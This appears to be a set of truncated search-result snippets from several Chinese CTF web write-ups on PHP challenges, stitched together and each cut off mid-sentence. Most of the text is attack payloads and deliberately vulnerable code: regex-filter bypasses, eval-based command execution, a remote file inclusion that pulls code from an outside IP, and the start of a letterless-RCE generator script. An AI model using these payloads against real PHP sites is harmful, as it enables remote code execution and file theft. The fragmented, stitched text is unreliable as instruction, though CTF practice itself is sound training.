show_source(__FILE__);include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){ #/i表示不区分大小写,/m表示多行匹配 if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; }}else{ echo 'nonononono';} 例题分析:字符...
file=http://1.117.144.41:8090/1.txt aeqaq=show_source('fl0g.php'); 1. 2. web81 $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); 1. 2....
如CTF[http://SHOW.COM=>http://CTF_SHOW.COM所以payload如下: POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag 很明显这个解是非预期的,其实是可以通过正常步骤得到flag的。 出题人的预期解 get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 因为上面的代码中...
system() 执行命令passthru()exec()shell_exec()popen()pcntl_exec()反引号 同shell_exec()eval() 执行命令show_source() 高亮显示文件highlight_file() 高亮显示文件array_reverse() 反向输出元素pos() 输出当前元素的值localeconv() 返回一包含本地数字及货币格式信息的数组include 一般用于括号被过滤的情况,...
?c=show_source(next(array_reverse(scandir(getcwd())); 无数字,字母实现RCE读取文件方法一: 利用或运算得到需要的字符然后拼接成命令执行 或运算脚本: #-- coding:UTF-8 -- import requests import urllib import re from sys import * if(len(argv)!=2): print("="*50) print('USER:python exp.py ...
show_source(__FILE__); $filename = $_REQUEST['file']; $data = '<?php exit();?> ' . $filename; file_put_contents($filename,$data); 1. 2. 3. 4. 5. 这个题,可能是运维师傅给的权限太高了,直接将写权限给出来了,就有人搅屎,把index.php给删了。然后网站就访问不了了。
?c=show_source(next(array_reverse(scandir(pos(localeconv())); 32-36 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c);...
show_source(__FILE__); }else{ $file = $_FILES['file']; //限制上传的文件名不为空 if(!$file){ exit("请勿上传空文件"); } $name = $file['name']; $dir = 'upload/'; //strrchr($name, '.') //strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串...
类似的c=show_source('flag.php');show_source也可使用 这类题主要考察Php中读文件的函数 使用c=include('flag.php');echo $flag;,$没被ban就能用变量 文件被包含,即被注册(定义),可输出所有一定义的变量查看它们的变量名和值,如 c=include('flag.php');var_dump(get_defined_vars()); ...
bugkuctf平台10个较简单的web题目writeup,适合新手入门,可以找来试试http://ctf.bugku.com/bbs 。 本地包含 题目描述: 地址:http://120.24.86.145:8003/ 这里需要我们传参hello,然后使用var_dump()函数输出 这里直接使用show_source()函数,也可以使用highlight_file()函数,显示flag.php的源码 ...